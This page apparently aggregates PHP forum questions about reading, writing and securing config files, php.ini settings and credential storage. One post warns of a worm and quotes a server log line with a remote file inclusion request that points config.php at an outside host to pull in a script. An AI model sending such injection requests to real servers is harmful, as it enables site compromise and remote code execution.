Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
 
  HOME    TRACKER    PHP




Editing A (config) File


I have a file with some configation in it... I am wondering how I
correct single values in there.

The most secure is to recreate the file, then rename it.

But is there a way to correct a line in the text file?
setting1=bla -setting1=blablabla

Needless to say, there are things in there I'd like to keep at all
times.




View Complete Forum Thread with Replies

See Related Forum Messages: Follow the Links Below to View Complete Thread
--with-config-file-path
I want php.ini in my own place, say /etc not default /usr/local/bin.
So when I configure I use --with-config-file-path=/etc .... Easy !?
It dose not work, well it configure, make and make install ok but still
looking for php.ini in /usr/local/bin.

A script with phpinfo() tells me it looks in /etc but it still php.ini from
/usr/local/bin.

Using: Slackware 10.1, Apache 2.0.54, PHP 5.0.4

How To Set The Config File In LOG4PHP
I downloaded log4php but I found the documentation on the site is VERY
POOR. After a lot of IMPRECATIONS, I was able to do a log without the
config file (fortunately I used log4J-AVA so I recalled some
examples....).

How can I configure and use log4php starting with an XML config file?

I don't think it is so difficult, but I was disappointed for the VERY
INADEGUATE documentation on the site.

Php Config File - Enable Headers
All I want to do is emable headers so that my pages redirect. I'm not sure where to go. I'm thinking it's in my php config file but not 100% sure.

Creating A Config File Through PHP Form
I have a php script that creates a config.php file (with mysql database name, password, etc. in it) from user input into a form.

It is creating the config.php file with the permissions of 666. Will this be a big security problem? Does giving permissions with global write access make it more possible for others to get access to the username password information? Or does it just make it more possible for them to write over or delete the file?

I noticed that if I modify the script to chmod to 644, then it is no longer possible for me to change the file permissions or even delete the file through an FTP client like FileZilla because PHP has the file ownership which is different from the FTP owner.

Does anyone know the security implications of the config file having permissions set at 666?

Including Database Config File
I'm facing a problem with including the database config file..

I kept database variables in a config file like this..

connect.php
<?php
$dbhost='something'
$dbuser='something'
$dbpass='something'
$dbname='something'
?>

then in my home.php file I've included that file ( both connect.php and
home.php are in same folder );

<?php
include 'connect.php'
$db=mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($dbname,$db);
//some actions
?>

The above thing worked fine until I moved the config file to root
directoryso that It will be available to all scripts..

the changes I've made to the script.. home.php

<?php
include 'http://domain.com/connect.php'
$db=mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($dbname,$db);
//some actions
?>

the above code this throwing errors..

Change Variable In Config File
Is there an easy way to change a variable in a config file using PHP? I'm trying to add a setting adjusted by radio button on an admin page. When the admin clicks save I want it to change just that variable between "0" and "1". It seems like it should be a simple thing that is done all the time.

Config File, Read And Write?
Does anyone know a function, class or library to easy edit configuration file? Like the XML functions but than for configuration files. Or should I write my own class for this?

System() To Execute A Config-file And Sending Variables To Php
I've to read variables out of a config-file, that is stored on a
Linux-machine.
When I connect to the server with puTTY, I can execute the config with:
.. /usr/local/webspace/config

then I can echo the contained variables:
echo $var1
everything works fine.

Now I want to execute the config by a php-script.
I try to open the file with the system() command:
system('. /usr/local/webspace/config', $retval);

I hoped to get the same variables now for doing some stuff with them in php.
But there are no variables, but the $retval = 0

SMARTY: Cycle Arguments Loaded From Config File?
I'd like to have the options for my cycle loaded from the config file
if possible. So far I haven't been able to find the right syntax or an
example, any ideas?

ie
<code>
*** config file ***
[index]
color1="#eeeeee"
Color2="#dddddd"

*** tpl ***
{config_load file="test.conf" section="index"}

{section name=members loop=$users}
<tr bgcolor="{cycle values="{#color1#},{#color2#}"} >
<td>{$users[members].id}</td><td>{$users[members].email}</td>
</tr>
{/section}
</code>

INI File Editing...
Does anybody know how to open up an ini file and edit one section?

like find the section called [votes] and just replace the values underneath it, in that section alone?

vote.ini
[votes]
a=7
b=2
c=55
d=0

find that section, replace the values with there new numbers, without having to deal with what sections come before and after this, in the ini file?

Php.ini File Editing
I need your knowledge,

I want to add to my website php.ini file to change the settings of my
mail() function so that my function is working fine except that the
sender email is not my user but nobody@hostingprovider.com so Someone
told me that its easily edited using php.ini but he dont know how, so
I thought that you could help me in this situation.

more details about my hosting:
- Linux host
- php 4.4.6
- apache

Editing An Xml File
I have an xml file that I use to store information in. I want to be able to add info to it without deleting whats in the file.

Suggestion For Handling Pages Requiring Redirect Using Config File
I thought I had a workable approach to specifing which pages required a
redirect in a config file, but it appears the way I'm attempting to do
it is not going to work.

The idea is that I can specify in the config file all of the pages that
require a user to login otherwise the page will redirect if the user is
not logged in.

config.php looks like this:
----------------------
// This allows you to set which pages require a login. If the
// user tries to access a page specified below, they are
// redirected to the specified page (usually the
// registration page).

// The # of pages that require user login
$_CONF['required_login_pages'] = 1;
$_CONF['required_login_0'] = '/myaccount.php' //(slash required)
----------------------

and header.php (which is included in every page) looks like this:
----------------------
$url = $HTTP_SERVER_VARS["REQUEST_URI"];
$numberPages = $_CONF['required_login_pages'];

for($i = 0; $i < $numberPages; $i++) {
print "page = " . $_CONF['required_login_$i'];
if(beginsWith($url, $_CONF['required_login_$i'])) {
//header("Location:".$_CONF['site_url']"./registration.php");
print $_CONF['required_login_$i'];
}
}

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}
---------------------

The problem is php doesn't seem to like the $_CONF['required_login_$i']
statement in the for loop.

Editing Info In A File
I am using a tab delimited file to provide information for a page to be displayed. I have used fgetcsv() to get information from the file, and it returns an array of information. I was wondering if there is a way I could change information in the file. For example lets say that $content[2] = "This" how could I change it so that, $content[2] = "That". I know how to change the variable to a different value, but I haven't figured out how to change the actual file.

Editing One Line Of A File.
MySQL ahs been giving me tremendous problems ever since I tried to switch to version 5.0.20. I thought that I might make my own SQL program, out of PHP code.

But if a user of it has a table with hundreds or more entrys, editing one line would take hours. If you can't get PHP to edit one line with a few functions, what about splitting a file into three parts and then merging them together after editing the middle part, like so: Code:

Editing A Line In A File
I have a php file, I need to open it, find the line that reads "$pass[0]  = "fa03eb688ad8aa1db593d33dabd89bad";" and edit the value
"fa03eb688ad8aa1db593d33dabd89bad". How can I do that, I have

   #Open the file
   $ourFileName = "access.php";
   $fh = fopen($ourFileName, 'r+') or die("Can't open file");
   fclose($fh);

Editing Text File With A PHP Form
I am trying to do something with PHP that i am sure is pretty easy. But not sure myself how to do it.

I have a file that i want to pull into a simple HTML Form text field. From that field the person can just add in content or remove content.. Click "Update" .. And it will write the new content out.. Overwriting the old file if need be.

Editing And Overwritting Data In .txt File
I have a page whereby a text area is shown, and the initial value of it uses php to display the contents of the .txt file so that a user to update the paragraph of text shown and click submit to overwrite the .txt file with new information. The problem is i have no idea how to code it so that i can make the .txt file be over written. Code:

Questions About Config.php
We all know its effective to create one central config file say "config.php"
that contains the required configuration variables.

I had seen the configuration is done by three ways:

1> By simply using variables ex $dbHost = ""; etc
2> By using associative arrays ex $setting['dbHost'] = ""; etc
3> By defining constants ex define("DB_HOST",""); etc

My Question?
Which one to use and why in config.php for creating the configuration file?

Config Issue?
I was doing a simple hello world kind of application and It doesn't work the way the very simple tutorial suggested. I found a work around, but was wondering if maybe I set something up wrong to have it not work the first (and simplest) way. So very simple example:have a page 1.html:

Code: <A HREF="welcome.php?name=Kevin"> Hi, I'm Kevin! </A>

then welcome php should have:

Code: <?php echo( "Welcome to your Web site, $name!" );?>

and that should work, but mine doesn't. I had to use:

Code: <?php echo( "Welcome to your Web site, ". $_GET['name']. "!" );?>

THAT worked. So am I doing something wrong with the setup or what? Any ideas? (guessing this is a simple issue)

Config Files
I have a file outside of the web root and this file contains db
username/passwds, and other config stuff. I include this file as needed in
the scripts. Is this a secure way of doing this? Would the contents of
this file ever be visible to web users under normal or abnormal conditions

PEAR::Config
I'm writing a little app for my personal use and want to store the
configuration data in an xml file. I found PEAR::Config that lets
me read the config data into my app. But so far, I haven't figured
out how to get modifcations back to the xml file.

Here's what I've got so far. I ran across this basic code in an article
at DevShed.

<?php
require_once 'Config.php'

$conf = new Config;
$root =& $conf->parseConfig('/usr/local/apache/myapp.xml', 'XML');

if (PEAR::isError($root)) {
die('Error while reading configuration: ' . $root->getMessage());
}

$settings = $root->toArray();

printf('User settings<br>');
printf('=============<br>');
printf('dbhost: %s<br>',$settings['root']['connect']['dbhost']);
printf('dbuser: %s<br>',$settings['root']['connect']['dbuser']);
printf('dbpass: %s<br>',$settings['root']['connect']['dbpass']);
printf('dbname: %s<br>',$settings['root']['connect']['dbname']);

$conf->writeConfig('/usr/local/apache/myapp.xml', 'XML');
?>

What I want to able to do is modify the values in the settings array (not
the problem) and the write them back out to the xml file.

I understand that it takes all the data from the root level and assigns it
to an array called $settings. What I'm having trouble with is getting
$settings back to the file.

Has anyone else used PEAR::Config doing this sort of thing?

Writing/Reading Config.php
I have a simple form page there i insert some data. How can i write this data into the config.php file and if the data exist, just update the string. And lately read this data in the same form with possibles to update these variables?

$cfg['Lang'] In PhpMyAdmin Config
I am trying to configure phpMyAdmin 2.8.2. I un-commented the following
line in config.inc.php:

// Force: always use this language - must be defined in
// libraries/select_lang.lib.php
$cfg['Lang'] = 'en-iso-8859-1'

but then after logging into phpMyAdmin, I get an error message:

Notice: Undefined index: en-iso-8859-1 in ...index.php on line 97

I went into index.php and found that this is the line in question:

$lang_iso_code = $GLOBALS['available_languages'][$GLOBALS['lang']][2];

So I went into select_lang.lib.php as suggested in the documentation and
poked around. 'en-iso-8859-1' is definitely a key in the
$available_languages array on this page, but then by the time the above
line of code gets called on index.php, this key is missing from
$GLOBALS['available_languages']. At that point, this is the only key in
the array for English, which is why I am getting the error message:

[en-utf-8] =Array
(
[0] =en|english
[1] =english-utf-8
[2] =en
[3] =>
)

Does anyone know why this is happening, and how I can uncomment the
$cfg['Lang'] = 'en-iso-8859-1' line and not have all these problems?
This is the only change I made that resulted in the error message; if I
again comment out the line in question as it comes defaulted, everything
works fine.

Per-server PHP Config Override
I'm using Apache webserver 1.3.27 and PHP 4.3.0. On my development machine,
I have created several virtual hosts. AFAIK PHP configuration is stored in
php.ini. I want some of the virtual hosts override some of PHP
configuration, while the rest retain the configuration in the php.ini. How
can I achieve this? I'm thinking a similar approach like Apache's
httpd.conf and .htaccess, but how to do it with PHP.

Furthermore, one of my project involves multiple subdomains, each
implemented by way of virtual hosts. Say a domain dev.foo.net have several
subdomains (dev.sd1.foo.net, dev.sd2.foo.net, etc), and I have other
domains configured in my machine, like dev.bar.org and wdv.blah.com. Also
say that default php.ini is the default config for all domains in my
machine. How can I make a configuration override applicable only from
dev.foo.net and it's subdomains, but not applicable to other domains
(dev.bat.org and wdv.blah.com uses the default php.ini entirely).

BTW, the machine is running on WinXP sp1a.


Php.ini Mail Config On Linux
I have a problem sending emails, they doesn´t got sent at all. here is my php.ini:

[mail function]
; For Win32 only.
;SMTP = 10.0.0.150

; For Win32 only.
;sendmail_from = me@localhost.com
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = /usr/sbin/sendmail.postfix -t -i

The mail server that the linux box is running is Postfix. I´ve tried with the central server of the office, that has an SMTP server (10.0.0.150), but without no luck.
the strange thing is that mail works if the webserver is a Win2k machine, relaying the email to the ip listed above.

am I restricted to sendmail or postfix on linux or may I use an external SMTP server?
what could be wrong? I´ll post the mail function, but as I´ve said it works as expected when using a win2k server: PHP Code:

Php And MYSQL Config Security
how to protect my config.inc file. I have a config file with username, password, etc info in it, that I have placed outside of the web directory. I am using a shared hosting package. I have read that because this is on a shared host that there are potential security risks. From what  I have read the way to stop this from being a potential security risk is to use:

SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"

But in order to do this I would need to put an include to the file containing the above data in httpd.conf. The host I am using does not allow access to the httpd.conf.

I thought about putting these in the htaccess file but it appears that this still has a potential to be unsafe. Is there another way to protect the config information from prying eyes or to set the Environmental variables and access them in a different place.

Setting Php Config Options In .htaccess
I got a problem setting php config options in .htaccess files (or in httpd.conf for that matter;). I'm trying to set the auto_prepend_file php.ini config option via the .htaccess file like this:
Code: php_value auto_append_file "d:/web/test/auto_prepend/footer.inc"
and it fails miserably:
[Sun Nov 18 10:24:14 2001] [alert] [client 127.0.0.1] d:/web/test/auto_prepend/.htaccess: Invalid command 'php_value', perhaps mis-spelled or defined by a module not included in the server configuration

I'm not sure where I'm going wrong here - does anyone know what needs to be done to be able to use 'php_value' in the httpd conf files?

oh, PS I'm using apache 1.3.19 for win32 on a win95 platform, most things are ok, just this doozie... thanx for any help...

How To Change Writing Rights For A Config.php?
I am in the process of installing a script (loginwa) and have been instructed to change the writing rights for the file "config.php" to "chmode 666"

I am using cPanel and I can see no way how to do this. Of course if I look at the config.php it is empty. Can anyone tell me how to change this setting?

Global Array For Application Config?
I am writing a web based application and need to have about 40 user
defined "preferences" (variables) set and accessed as the application
runs. I already created a conf.php which can be used as a require_once
page that only contains variables which are not Global, but do exist on
each page they are "required" on. My current scheme works, but requires
the parsing of the conf file to change vars...an array might be easier?

My question is:

Is this the best way to have user defined "preferences" (variables) set
in a php app, or would a global array work better? If globals are the
way to go would I require_once the page (script) they are on on each
page of my app?

What Is PHP's Mime Type (for Config In IIS)
Can anyone tell me the mime type for PHP files? I'm trying to configure my Windows 2000 server to recognize these file types and I need to know what the mime type is.

Include Config.php Does Not Work Anymore After PHP 5.2
I have been working with PHP 5.0 and my "register_globals" has always been
Off since PHP 4.1. Today I upgraded to PHP 5.2 and now neither of my include "config.php" work. Neither of the variables defined in include files are even included. Anyone knows what has been changed and what can I do?
This is what I normally use...

PHP 5.0.1, Solaris 5.9, Sablotron 1.0.2, Config Problems
Can run sabcmd with no problems.
But when running a simple php script, it cannot find the sablotron
functions. So it does not appear to be linking the Sablotron stuff.
Probably just something simple I am missing.

Built with:
configure --with-xml --with-expat=/usr/local --enable-xslt
--with-xslt-sablot=/usr/local

Simple PHP script:
<?php
$parser = xslt_create();
$html= xslt_process($parser, "test.xml", "test.xsl");
xslt_free($parser);

echo $html;
?>

Returns:
Fatal error: Call to undefined function xslt_create() in /tmp/xsl.php on
line 2

How Do I Fill Config.inc.php3 PHPMyAdmin?
I'm trying to install PHPMyAdmin in mysql. I have a f2s account and need to administer my dbs, after I fill it with server, user and pass the config and run localhost/../indexphp3 it try too run (many errors are in my browser):

1- left side displays phps scrips
2- getright bigings to download php.exe
3- other that I didnt remember now....

How do I fill config.inc.php3 PHPMyAdmin correctly?

$cfgServers[1]['host'] = ''
$cfgServers[1]['port'] = ''
$cfgServers[1]['adv_auth'] = false;
$cfgServers[1]['stduser'] = ''
$cfgServers[1]['stdpass'] = ''
$cfgServers[1]['user'] = ''
$cfgServers[1]['password'] = ''
$cfgServers[1]['only_db'] = ''
$cfgServers[1]['verbose'] = ''

I'm using Apache, MySql and Php4 and are working ok.

Simple Require_once / Config / Functions Problem
i would like my program to have a config.php with passwords and other
stuff.

i would like to have a functions.php to hold all my functions.

i would like the functions.php to include/require the config.php as it
will need it for database stuff.

i cant seem to get the functions in my functions.php to see the
variables in config.php

when i run the following on my machine i just get notices about the
undefined variables. what is wrong with this?

here is the basic layout:

index.php:
<?php
require_once "functions.php";
myfunction();
?>

functions.php:
<?php
require_once "config.php";

function myfunction()
{
print("user: $user , server: $server , pass: $pass ");
}
?>

config.php:
<?php
$user = "root";
$server = "localhost";
$pass = "pass";
?>

Check Php Config From Linux Command Line?
Is there any way to check the setup of a php install (in particular, the
installed extensions, eg mbstring) from the Linux command-line ie *without*
using a phpinfo page?

If it makes any difference, I'd like to do this on both Fedora and Gentoo.

PhpBB2 - Clear Text Password In Config.php
Is there a way to avoid having the DB password (and/or ID for that matter)
clear in config.php?

Creating Configuration Page To Alter Config.php
I'm creating a web-based database thingy for the organisation I work with- and of course there are a bunch of variables that I don't want to be touched by end-users, but then there are a few that I do want to be changeable by a 'super-user/moderator.'

I'm trying to come up with the best way to create a 'configuration' part of the 'admin' section, which has the options to change, which will then open the particular file (let's say config.php) and edit those particular variables.

Windows PHP/Apcahe Config Question - #! Vs. Extensions In Registry
I am developing in PHP on a Windows environment but deploying to a *nix
flavor.

I would like to use the extension recognition in Apache in my local
environment for cgi, and have set the "ScriptInterpreterSource" value
to "registry" in my Apache config. That said, I need the "#!" line in
my scripts so when I upload them to their "live" directory, the server
can find the php executable.

When I try to run a script locally that has the "#!" line first,
however, I am given this output and warning:

#!/usr/bin/php4
"Warning: Cannot modify header information - headers already sent by
(output started at..." etc.

It seems Apache gleefully delivers the first "#!" line as content. Is
there any way, other than stripping this line, to avoid this? Or do I
need to go back to the old Unix style config, "ScriptInterpreterSource
script"?

PHP/Perl/Unix Virus: Delete Config.php Files Asap
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).

I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.

The requests are like this

216.120.231.252 - - [30/Aug/2006:13:28:03 -0500] "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

File spread.txt contains this:

Editing A String To Add A Before A '
Is there a function that allows you to add a before a ' in a string.
This is needed to store text in a mysql db and i was wondering if there
is function which can do this to any ' which DO NOT already have one
before them, this is so i can keep editing my text without all these
building up.

Editing HTML/
I'm looking for a way to editing my site on the fly (unfortunately I don't have DB support). I've been messing around with file functions, and that part seems to work fine.

My problem is that backslashes are being added when I post the form I use to edit the files, and if I understand it correctly, I can't just use stripslashes() since there are some backslashes I need to get through (like)Any solution to this?

Editing Rights
Is there any way to allow a PHP script editing rights to every file on its filesystem?

Editing .htaccess
Is there a way to edit a file (in this case .htaccess) in PHP to add a line of code?
EX. What I want to do is add this line to .htaccess: DirectoryIndex main.php?id=5

Editing A Table
is it possible to print a table and then that the user can edit it? My site is for an institute so in a colum will appear all the names of the students and I want that they can give all the notes next to their names, so I was thinking in do it with a table but i dont know if it is possible to edit the table: Code:

Help On Editing PHPBB
I do manage a website and it includes a PHPBB forum, obviously placed at /forum (¿why to use a weirder path? :P). The thing is that my site is more than a forum, it has more content. I have menus almost everywhere, it's very navigable; but if you go into the forum, you can only get back to the other sections of the site using the back buton or removing everything starting from /forum in the address bar. Of course, this doesn't fit my site's philisophy, which is almost to put menus even inside the menus in every page, so you can go from everywhere to everywhere... I hope you cacth it. I've noticed that it shows the domain and title I put in the admin panel. Well, what I'd like to do is to make this text link to my homepage, placed at /index.php or simply /. The problem is that I'm completely lost when trying to do something in PHPBB's source files. I don't know which file should I edit, nor where should I add the code. These files are a code labirynth for me, and I need to edit them to fit my site's needs.

Looking For A PHP App For Editing Pages
Any ideas?  Basically something that would allow me to upload/copy/delete/edit webfiles.  It would probably use a WYSIWYG javascript editor.  Not really looking for a CMS because they don't work with existing html files.

Form Editing
I am trying to call information from a MySQL database in for form of an editable form.  I want the info to be called into a box that can by typed in and so far that works. 

What I want to do next is to be able to change what is in those boxes and click an update button which updates what was called from the database to what I typed in the box.  The code I wrote is below and almost works. I'm not sure what the problem is. Code:

Drop Down Box Editing
I have 3 linked drop down boxes ( Eg: Country, State and City ) .  I've  set values for the drop down boxes initially and  I would like to edit the values later. Is it possible to show/highlighte the set values ( the value I've put earlier ) while editing the drop down boxes using  PHP or AJAX.


Copyright © 2005-08 www.BigResource.com, All rights reserved